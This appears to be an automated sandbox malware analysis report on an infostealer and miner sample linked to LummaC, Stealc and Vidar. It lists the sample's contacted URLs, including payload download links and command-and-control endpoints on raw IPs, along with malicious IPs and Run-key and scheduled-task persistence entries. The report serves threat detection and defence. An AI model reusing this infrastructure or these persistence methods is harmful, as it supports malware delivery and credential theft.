http://46.8.231.109DHJEorm-data;	RegAsm.exe, 00000014.00000002.2522488462.00000000005AD000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://t.me/iyigunl	lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	3%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.196.8.214/	simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000851000.00000004.00000020.00020000.00000000.sdmp, simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000082F000.00000004.00000020.00020000.00000000.sdmp	false	13%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.vmware.com/0	SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crl.microsoft	RegAsm.exe, 00000002.00000002.1938570436.0000000003EAD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://aka.ms/msal-client-apps	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/adal-net-broker-redirect-uri-android	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/msal-net-enable-keychain-access	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.iobit.com/en/privacy.phpOpenU	SendBugReportNew.exe, 00000025.00000000.2006727029.0000000000401000.00000020.00000001.01000000.0000001C.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c6def3f0546_sss.exeC:	RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://file-link-iota.vercel.app:80/ffernifre.exesZ0	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space$	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#space#	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/soap/http	9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100	LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://31.41.244.9/dezo/huna.exeC:	RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://sso2urn:ietf:wg:oauth:2.0:oob	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceS	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://aka.ms/msal-net-up	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://154.216.17.134/Edge/PENDXGKW.exeC:	RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.68.138:80	lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.196.8.214/search/?q=67e28dd86d55f128470aac1a7c27d78406abdd88be4b12ebb517aa5c96bd86ed82df1	simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000862000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xin#	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	24%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	tmR_9dCV10b0GIVf60jpdpDG.exe, 00000009.00000003.1943300639.0000000001F88000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3076566748.0000000000401000.00000020.00000001.01000000.00000015.sdmp	false	URL Reputation: safe	unknown
http://www.autoitscript.com/autoit3/J	U8E1s2EiwXEdPm57PA0VL_iO.exe, 00000006.00000003.1952805240.0000000002907000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php/	LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dllZ	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/wpf	rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000000.1887813891.00000000004E2000.00000002.00000001.01000000.00000008.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpGjLg	LfiXVL0FmEQ8Z73WgU_xbDtt.exe, 0000000A.00000002.2689647193.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://iplogger.org:443/1nhuM4.js	RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/malesa/66d08591035ef_AttachmentDaughters.exe#1lll	RegAsm.exe, 00000002.00000002.1934044610.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17.exe	RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://file-link-iota.vercel.app:80/ffernifre.exes	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exe#upus	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.214/vhT	simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.0000000000851000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.33/ssl/install.exeC:	RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.symauth.com/cps0(	SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.winimage.com/zLibDllm_object	IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000002.2051301133.0000000004229000.00000004.00000800.00020000.00000000.sdmp, ExtreamFanV6.exe, 0000002E.00000002.2214740276.0000000004723000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.symauth.com/rpa00	SendBugReportNew.exe, 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/1309cdeb8f4c8736/softokn3.dll(	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/prog/66d0cd8fb6f7b_lgjfd.exeia	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/revada/66c6fcb30b9dd_123p.exeC:	RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://ipinfo.io/https://ipgeolocation.io/::	kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006AF4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1675344852.0000000006121000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1655977960.00000000044F4000.00000004.00000800.00020000.00000000.sdmp, kqS23MOytx.exe, 00000000.00000002.1689914217.0000000007701000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1927429743.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKeybhttp://schemas.xmlsoap.org/ws/2005/02/trus	9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66c6def3f0546_sss.exeDt	RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.10.205.48/	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/adal_token_cache_serializationdFailed	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io:443/widget/demo/8.46.123.33	RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneK	RegAsm.exe, 00000002.00000002.1934044610.0000000001087000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.digicert.c	SendBugReportNew.exe, 00000025.00000002.2111698404.0000000000884000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spacece	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.sectigo.com0	3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1996847275.0000000000660000.00000004.00001000.00020000.00000000.sdmp, 3Jzm4oFUgYkjO4kKSsY1bNEb.exe, 00000007.00000003.1942337891.000000000295D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://147.45.44.104/malesa/66ce00c2c1a2c_doz.exe#meneR	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xineB	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/wsdl/Xhttp://schemas.xmlsoap.org/ws/2004/09/policyfhttp://schemas.microso	9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0cd9755a01_sbwd.exe#spaceC:	RegAsm.exe, 00000002.00000002.1934044610.000000000110C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://147.45.44.104/malesa/66cdfc485c6f9_instruction.exe#upusC:	RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/adal_token_cache_serialization	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://iplogger.org/	RegAsm.exe, 00000002.00000002.1938570436.0000000003E83000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.1934044610.00000000010FE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-iwa	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-up)	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
http://docs.oasis-open.org/ws-sx/ws-trust/200512Vhttp://schemas.xmlsoap.org/ws/2005/02/trustthttp://	9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipgeolocation.io/	RegAsm.exe	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/yuop/66d0879618b6b_File.exe#xinecebu	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://aka.ms/dotnet-warnings/	0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp	false	URL Reputation: safe	unknown
http://46.8.231.109/c4754d4f680ead72.php32	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.196.8.214/46122658-3693405117-2476756634-1002	simplefreevideocutter32_64.exe, 0000001F.00000002.3073903313.000000000082F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17chost.exe	RegAsm.exe, 00000014.00000002.2522488462.000000000043C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.10.205.48/l	RegAsm.exe, 00000002.00000002.1934044610.0000000001057000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://file-link-iota.vercel.app/	RegAsm.exe, 00000002.00000002.1938043805.0000000003E30000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://147.45.68.138:80hellohttps://steamcommunity.com/profiles/76561199761128941b	lDkIjEVcMx3R04EqAu4plnem.exe, 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://195.10.205.48/v	RegAsm.exe, 00000002.00000002.1934044610.00000000010E2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	RegAsm.exe, 00000014.00000002.2601275716.0000000000C78000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000014.00000002.2751793506.0000000027113000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://aka.ms/msal-net-enable-keychain-groups	kqS23MOytx.exe, 00000000.00000000.1647390200.0000000000922000.00000002.00000001.01000000.00000003.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp	false	Avira URL Cloud: safe	unknown
https://aka.ms/msal-net-system-browsers	9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp, 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/prog/66d0c13d2f0ed_ImpressedHub.exes	RegAsm.exe, 00000002.00000002.1938043805.0000000003E4C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://c0rl.m%L	SendBugReportNew.exe, 00000025.00000002.2111698404.0000000000884000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
46.8.231.109	unknown	Russian Federation	28917	FIORD-ASIP-transitoperatorinRussiaUkraineandBaltics	true
185.215.113.100	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
195.10.205.48	unknown	Russian Federation	35813	TSSCOM-ASRU	true
176.113.115.33	unknown	Russian Federation	49505	SELECTELRU	false
76.76.21.241	file-link-iota.vercel.app	United States	16509	AMAZON-02US	false
34.117.59.81	ipinfo.io	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
104.26.3.46	iplogger.org	United States	13335	CLOUDFLARENETUS	false
172.67.75.163	api.myip.com	United States	13335	CLOUDFLARENETUS	false
31.41.244.9	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.130.188.148	unknown	Germany	24940	HETZNER-ASDE	true
185.196.8.214	bftexwm.com	Switzerland	34888	SIMPLECARRER2IT	true
95.164.119.162	stadiatechnologies.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
23.210.122.61	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
154.216.17.134	unknown	Seychelles	135357	SKHT-ASShenzhenKatherineHengTechnologyInformationCo	false
89.105.201.183	unknown	Netherlands	24875	NOVOSERVE-ASNL	false
77.105.164.24	unknown	Russian Federation	43176	ICOMF-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1501538
Start date and time:	2024-08-30 03:16:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	57
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kqS23MOytx.exe renamed because original name is a hash value
Original Sample Name:	439228705BA8CBE4BE1C1BF8343913AC.exe
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.mine.winEXE@98/161@9/17
EGA Information:	Successful, ratio: 78.6%
HCA Information:	Successful, ratio: 69% Number of executed functions: 91 Number of non-executed functions: 30
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, Conhost.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 52.168.117.173
Excluded domains from analysis (whitelisted): onedsblobprdeus16.eastus.cloudapp.azure.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, pool.hashvault.pro, pastebin.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, locatedblsoqp.shop, login.live.com, blobcollector.events.data.trafficmanager.net, awwardwiqi.shop, umwatson.events.data.microsoft.com, traineiwnqo.shop
Execution Graph export aborted for target 0QrWpVvJO2zQ0CVHYo3FGItE.exe, PID 8048 because it is empty
Execution Graph export aborted for target LfiXVL0FmEQ8Z73WgU_xbDtt.exe, PID 8004 because there are no executed function
Execution Graph export aborted for target rFOuFGF_bpYT2mD72hQviWI6.exe, PID 7964 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:17:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
02:17:32	Task Scheduler	Run new task: jewkkwnf HR path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
02:17:36	Task Scheduler	Run new task: jewkkwnf LG path: C:\ProgramData\jewkkwnf\jewkkwnf.exe
02:17:42	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6 C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe
02:17:54	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk
02:18:11	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\LITconfig.lnk
21:17:31	API Interceptor	1x Sleep call for process: U8E1s2EiwXEdPm57PA0VL_iO.exe modified
21:17:32	API Interceptor	1x Sleep call for process: ALyS_8kMpHhhtscK4twnP2yt.exe modified
21:17:35	API Interceptor	522x Sleep call for process: LfiXVL0FmEQ8Z73WgU_xbDtt.exe modified
21:17:46	API Interceptor	2x Sleep call for process: WerFault.exe modified
21:17:48	API Interceptor	1x Sleep call for process: U6y3wrWv6W7x1LKCsdmr6zZR.exe modified
21:17:58	API Interceptor	1x Sleep call for process: RegAsm.exe modified
21:18:07	API Interceptor	69x Sleep call for process: simplefreevideocutter32_64.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
46.8.231.109	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	46.8.231.109/c4754d4f680ead72.php
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.myip.com	Z66MsXpleT.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	172.67.75.163
	eSLlhErJ0q.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.26.9.59
	iBO7gzlZr3.exe	Get hash	malicious	LummaC	Browse	104.26.9.59
	7CTH165fQv.exe	Get hash	malicious	Latrodectus	Browse	104.26.8.59
	3QKcKCEzYP.exe	Get hash	malicious	LummaC, Djvu, Go Injector, LummaC Stealer, Neoreklami, Stealc, SystemBC	Browse	172.67.75.163
	284ae9899ae53d03d27bd3f72892d843fe5bbecb097f5.exe	Get hash	malicious	Amadey, DarkTortilla, Djvu, LummaC Stealer, RedLine, Stealc, Vidar	Browse	104.26.8.59
	5zFCjSBLvw.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.26.9.59
	FySc2FzpA8.exe	Get hash	malicious	Go Injector	Browse	104.26.9.59
